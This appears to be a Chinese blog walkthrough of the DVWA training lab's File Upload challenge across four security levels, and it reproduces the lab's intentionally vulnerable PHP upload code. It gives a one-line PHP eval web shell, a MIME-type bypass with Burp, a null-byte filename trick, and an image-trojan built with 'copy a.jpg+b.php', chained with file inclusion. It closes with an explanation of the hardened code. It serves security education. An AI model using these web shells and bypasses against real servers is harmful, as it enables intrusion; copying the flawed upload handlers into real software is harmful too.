【DVWA1.10】File Upload通关笔记

最新推荐文章于 2023-01-28 11:34:30 发布
最新推荐文章于 2023-01-28 11:34:30 发布
阅读量252 收藏 1
点赞数
分类专栏： dvwa1.10 文章标签： 安全 php 文件上传
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/EC_Carrot/article/details/112149683
版权

难度

Security Level: low

<?php 

if( isset( $_POST[ 'Upload' ] ) ) { 
    // Where are we going to be writing to? 
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 

    // Can we move the file to the upload folder? 
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { 
        // No 
        echo '<pre>Your image was not uploaded.</pre>'; 
    } 
    else { 
        // Yes! 
        echo "<pre>{$target_path} succesfully uploaded!</pre>"; 
    } 
} 

?>

没看到有什么过滤，直接传一句话就完事了

<?php @eval($_POST['cmd']);?>

在这里插入图片描述
我这里用的是蚁剑连的，菜刀也是可以的，看个人喜好
在这里插入图片描述

Security Level: medium

<?php 

if( isset( $_POST[ 'Upload' ] ) ) { 
    // Where are we going to be writing to? 
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 

    // File information 
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; 
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; 
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; 

    // Is it an image? 
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && 
        ( $uploaded_size < 100000 ) ) { 

        // Can we move the file to the upload folder? 
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { 
            // No 
            echo '<pre>Your image was not uploaded.</pre>'; 
        } 
        else { 
            // Yes! 
            echo "<pre>{$target_path} succesfully uploaded!</pre>"; 
        } 
    } 
    else { 
        // Invalid file 
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; 
    } 
} 

?>

这里加了条if，判断type是否为image/jpeg或image/png，并且文件大小要小于100000，一句话本来就不大，大小可以忽略，type我们可以用burpsuite来抓包修改。
在这里插入图片描述
在这里插入图片描述

Security Level: high

<?php 

if( isset( $_POST[ 'Upload' ] ) ) { 
    // Where are we going to be writing to? 
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 

    // File information 
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; 
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); 
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; 
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ]; 

    // Is it an image? 
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) && 
        getimagesize( $uploaded_tmp ) ) { 

        // Can we move the file to the upload folder? 
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { 
            // No 
            echo '<pre>Your image was not uploaded.</pre>'; 
        } 
        else { 
            // Yes! 
            echo "<pre>{$target_path} succesfully uploaded!</pre>"; 
        } 
    } 
    else { 
        // Invalid file 
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; 
    } 
} 

?>

有几处过滤，主要看这些

$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); 

 if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) && 
        getimagesize( $uploaded_tmp ) )

strrpos只取匹配到的最后.无论前面有多少个后缀，也就是说我们可以写成cmd.php%00.jpg
但是该漏洞需要PHP<5.3.4，我的实验环境为PHP7.4，讲道理这个版本只用文件上传不能拿到shell
我们只能用文件包含漏洞的页面来配合做题，有兴趣的可以看我这篇dvwa文件包含的文章
上传方法一：
制作图片马，制作方法我这里就讲一种最简单的
在windows的shell界面，使用命令：

copy a.jpg+b.php c.jpg

制作完成后上传
上传方法二：
直接burpsuite抓包改包，主要在文件头加上GIF89a，即可绕过getimagesize函数
在这里插入图片描述
利用过程：
转到File Inclusion界面，因为难度为high，File Inclusion板块的难度也为high，就不改了，直接利用，不会的去看我上面说的文章
在这里插入图片描述

Security Level: impossible

<?php 

if( isset( $_POST[ 'Upload' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 


    // File information 
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; 
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); 
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; 
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; 
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ]; 

    // Where are we going to be writing to? 
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/'; 
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-'; 
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; 
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) ); 
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; 

    // Is it an image? 
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) && 
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) && 
        getimagesize( $uploaded_tmp ) ) { 

        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD) 
        if( $uploaded_type == 'image/jpeg' ) { 
            $img = imagecreatefromjpeg( $uploaded_tmp ); 
            imagejpeg( $img, $temp_file, 100); 
        } 
        else { 
            $img = imagecreatefrompng( $uploaded_tmp ); 
            imagepng( $img, $temp_file, 9); 
        } 
        imagedestroy( $img ); 

        // Can we move the file to the web root from the temp folder? 
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { 
            // Yes! 
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>"; 
        } 
        else { 
            // No 
            echo '<pre>Your image was not uploaded.</pre>'; 
        } 

        // Delete any temp files 
        if( file_exists( $temp_file ) ) 
            unlink( $temp_file ); 
    } 
    else { 
        // Invalid file 
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; 
    } 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 

?>

让我们仔细来分析一下防御完全的impossible代码
首先是checkToken函数，是dvwa自定义的防csrf函数，仔细分析流程我在另一篇dvwa文章同样是impossible难度里
再看看文件名处

$target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

这里用了uniqid函数，该函数作用为返回一个根据时间戳生成的唯一id，这里id再加上原本的文件名再用md5函数加密，生成一个不可重复的文件名，可以确保在大流量网站上传功能正常使用，且不会覆盖文件。我们再上传一个文件试试：
在这里插入图片描述
再看看这一段：

// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD) 
        if( $uploaded_type == 'image/jpeg' ) { 
            $img = imagecreatefromjpeg( $uploaded_tmp ); 
            imagejpeg( $img, $temp_file, 100); 
        } 
        else { 
            $img = imagecreatefrompng( $uploaded_tmp ); 
            imagepng( $img, $temp_file, 9); 
        } 
        imagedestroy( $img );

通过重新编码图像（注意，建议使用php-Imagick而不是php-GD）去除所有元数据

  • imagecreatefromjpeg — 由文件或 URL 创建一个新图象。
  • imagejpeg — 输出图象到浏览器或文件。
  • imagedestroy — 销毁一图像

最后它还删除了临时文件，以防临时文件给利用

 if( file_exists( $temp_file ) ) 
            unlink( $temp_file ); 
    }
  • file_exists() 函数检查文件或目录是否存在。
  • unlink() 函数删除文件。

还有一些零散的函数也顺便提一下：

  • ini_get — 获取一个配置选项的值
  • sys_get_temp_dir — 返回用于临时文件的目录
  • getchwd() 函数返回当前工作目录。
小 白 萝 卜
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
DVWA 共12关通关笔记
09-12
【DVWA 共12关通关笔记】 DVWA（Damn Vulnerable Web Application）是一个用于网络安全教育的开源Web应用程序。它包含各种安全漏洞，为初学者和专业人士提供了实践和学习Web安全漏洞的机会。DVWA分为多个级别，从低...
DVWA之XSS （完整版）
一期一会的博客
03-30 5266
xss DOM型xss
dvwa靶场File Inclusion全难度教程（附代码解析）
m0_73248913的博客
01-25 380
方便开发人员对单个函数进行封装，保存到文件时可以直接调用文件不用再次编写，服务器执行PHP文件时，可以通过文件包含函数加载另一个文件中的PHP代码，并且当PHP来执行，这会为开发者节省大量的时间。当页眉需要更新时，只更新一个包含文件就可以了，或者当您向网站添加一张新页面时，仅仅需要修改一下菜单文件（而不是更新所有网页中的链接）。将allow_url_include=Off改为allow_url_include=On（本地文件包含选项），allow_url_fopen=On（远程url文件包含），
DVWA下的CSRF攻防实战(详解)
一期一会的博客
04-20 4683
DVWA下的CSRF攻防实战（详解） 我们简单谈一谈CSRF与XSS的区别： CSRF (cross site request forgery)跨站请求伪造。CSRF是用户在不知情的情况下提交请求，而XSS是用户自己点击链接来访问网页。 整个攻击过程： 用户浏览并登录受信任网站A（dvwa），登录成功以后网站A会返回浏览器的信息中带有已登录的cookie，cookie信息会在浏览器端保存一定时间（根据浏览器设置而定），在用户没有退出网站A的情况下访问恶意站点B（这里在win2003制作一个危险网站），该危
dvwa靶场csrf（跨站请求伪造）全难度教程（附代码分析）
m0_73248913的博客
01-28 288
建议使用owaspbwa靶场可以不用搭建dvwa以及其他常用靶场，省去搭建靶场的困扰，但是此靶机靶场较老，并不建议使用owaspbwa下载地址： OWASP Broken Web Applications Project download |注：owaspbwa的本机用户名root密码owaspbwa，记得看看靶机的ip方便以后使用。dvwa的用户名和密码都为admin（owaspbwa中的dvwa是此，其他的用户名为admin密码为password）
DVWA-v1.10-文件包含
-
03-20 4596
DVWA v1.10搭建在linux系统上。 进来之后看到 可以看到三个文件fil1.php、file2.php、file3.php 同时还给出三个链接：
DVWA通关手册.docx
08-19
文档内部包含DVWA平台，所有类型漏洞低中高等级的攻击过程，非常仔细。也有部分自己的攻击方法，值得一试。
DVWA全级别中文渗透教程和渗透环境，最强大没有之一
11-26
《DVWA全级别中文渗透教程和渗透环境》是针对Web安全领域的一款重要资源，它为初学者和有经验的安全研究人员提供了全面的学习平台。DVWA（Damn Vulnerable Web Application）是一套设计有各种常见Web应用程序安全...
新手指南：DVWA 1.9 全级别教程 PDF
08-18
新手指南：DVWA 1.9 全级别教程 PDF格式
DVWA学习笔记全等级
06-08
DVWA学习笔记全等级
DVWA全级别教程
10-26
DVWA全级别教程 通关秘籍 练手的同学可以下载 epub文件 适合手机平板看
新手指南：DVWA 1.9 全级别教程
01-03
新手指南：DVWA 1.9 全级别教程
【DVWA1.10】SQL Injection通关笔记
EC_Carrot的博客
12-31 345
等级Security Level: lowSecurity Level: mediumSecurity Level: highSecurity Level: impossible Security Level: low <?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; // Check database $query = "SELECT f
【DVWA1.10】Brute Force通关笔记
EC_Carrot的博客
01-04 257
难度Security Level: lowSecurity Level: mediumSecurity Level: highSecurity Level: impossible Security Level: low <?php if( isset( $_GET[ 'Login' ] ) ) { // Get username $user = $_GET[ 'username' ]; // Get password $pass = $_GET[ 'pas
DVWA下的XSS漏洞通关练习
weixin_48609562的博客
06-15 636
XSS 介绍 XSS，全称Cross Site Scripting，即跨站脚本攻击，某种意义上也是一种注入攻击，是指攻击者在页面中注入恶意的脚本代码，当受害者访问该页面时，恶意代码会在其浏览器上执行，需要强调的是，XSS不仅仅限于JavaScript，还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中，XSS可以分为存储型的XSS与反射型的XSS。 DOM型的XSS由于其特殊性，常常被分为第三种，这是一种基于DOM树的XSS。例如服务器端经常使用document.boby.innerHtml
【DVWA1.10】Reflected Cross Site Scripting (XSS)通关笔记
EC_Carrot的博客
12-31 222
难度Security Level: lowSecurity Level: mediumSecurity Level: highSecurity Level: impossible额外补充： Security Level: low <?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL
将CCP协议移植到TC275中（1）
qq_34309267的博客
12-08 1617
如上图所示，这是CCP的协议栈，包含头文件及源代码。 include里边包含所有与CCP相关的头文件。 1.Ccp_CAN_Driver.h 此文件主要包括和can驱动相关的宏定义，枚举，结构体及调用函数。 void MultiCAN_CCP_Init(void); void MultiCAN_Messgage_send_CAN(uint8 data[],IfxMultican_Can_MsgObj canSrcMsgObj,uint32 id); void MultiCAN_Messgage_read_.
测试开发必备技能：安全测试漏洞靶场实战
测试开发技术
03-11 228
安全在互联网行业，是一个对专业性较强，且敏感的一个领域，所谓"一念成佛，一念入魔"，安全技术利用得当，可以为你的产品、网站更好的保驾护航，而如果心术不正，利用安全漏洞去做一些未法牟利，则容易造成承担不必要的违法责任。 在日常很容易被大家忽略的一点，在非授权的情况下，对网站进行渗透攻击测试，也是属于非合规操作，是触及法律法规的。因此对于大家在学习安全测试过程中，通常建议是直接在本地直接搭建安全演练靶场环境，尽量避免直接对非授权的网站进行测试。 掌握安全测试是测试开发工程师进阶的一项硬技能，今天这篇文章，就来给
对DVWA的File Upload模块展开实验
最新发布
06-10
好的，我可以为您提供一些关于DVWA的File Upload模块的实验步骤。首先，您需要了解一下DVWA是什么。DVWA（Damn Vulnerable Web Application）是一个用于练习网络渗透测试技能的虚拟机环境，其中包含多个漏洞，可供...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值